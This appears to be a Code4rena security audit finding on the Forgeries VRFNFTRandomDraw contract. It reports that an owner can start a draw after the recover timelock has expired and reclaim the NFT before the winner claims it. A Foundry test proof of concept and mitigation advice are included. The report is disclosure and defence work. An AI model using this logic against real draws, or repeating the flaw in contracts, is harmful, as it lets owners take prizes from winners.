Forgeries contest - maks's results

Lines of code

https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L304-L320

Vulnerability details

Impact

The owner can call startDraw at any time, including after the recoverTimelock has expired, which means the owner can call lastResortTimelockOwnerClaimNFT and potentially reclaim the NFT immediately after the draw completes if they do not want the winner to be able to claim the NFT.

For example, the recoverTimelock can be 8 days, and the owner can call startDraw on day 9. If for whatever reason the owner does not want the winner to claim the NFT at this point, they can call lastResortTimelockOwnerClaimNFT to reclaim it (if the winner wasn't quick enough to claim, or lost a gas war to the owner).

Using lastResortTimelockOwnerClaimNFT in this manner does not seem consistent with the stated goals of the project.

Proof of Concept

function test_OwnerCanReclaim() public {
    address winner = address(0x1337);
    vm.label(winner, "winner");

    vm.startPrank(winner);
    for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) {
      drawingNFT.mint();
    }
    vm.stopPrank();

    vm.startPrank(admin);
    targetNFT.mint();

    address consumerAddress = factory.makeNewDraw(
      IVRFNFTRandomDraw.Settings({
        token: address(targetNFT),
        tokenId: 0,
        drawingToken: address(drawingNFT),
        drawingTokenStartId: 0,
        drawingTokenEndId: 10,
        drawBufferTime: 1 hours,
        recoverTimelock: 8 days,
        keyHash: bytes32(
          0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15
        ),
        subscriptionId: subscriptionId
      })
    );
    vm.label(consumerAddress, "drawing instance");

    mockCoordinator.addConsumer(subscriptionId, consumerAddress);
    mockCoordinator.fundSubscription(subscriptionId, 100 ether);

    VRFNFTRandomDraw drawing = VRFNFTRandomDraw(consumerAddress);

    targetNFT.setApprovalForAll(consumerAddress, true);

    // Start draw after recover timelock
    vm.warp(9 days);

    uint256 drawingId = drawing.startDraw();

    mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);

    vm.stopPrank();

    assertEq(targetNFT.balanceOf(winner), 0);
    assertEq(targetNFT.balanceOf(consumerAddress), 1);

    // Onwer reclaims NFT
    vm.prank(admin);
    drawing.lastResortTimelockOwnerClaimNFT();

    // should be able to call nft
    assertEq(targetNFT.balanceOf(admin), 1);
    assertEq(targetNFT.balanceOf(consumerAddress), 0);

    // Winner cannot claim
    vm.prank(winner);
    vm.expectRevert();
    drawing.winnerClaimNFT();
  }

Tools Used

N/A

Recommended Mitigation Steps

Can mitigate in multiple ways. One option is to simply not allow the startDraw function to be called after the recoverTimelock expires, preferably with some grace period. However this would brick the contract at this point.

Another option would be to set/reset the recoverTimelock value using some buffer value whenever _requestRoll is called, so it would always be at least some amount of time after the most recent draw.

Either of these mitigation steps would guarantee the winner an opportunity to claim the NFT before the owner can reclaim.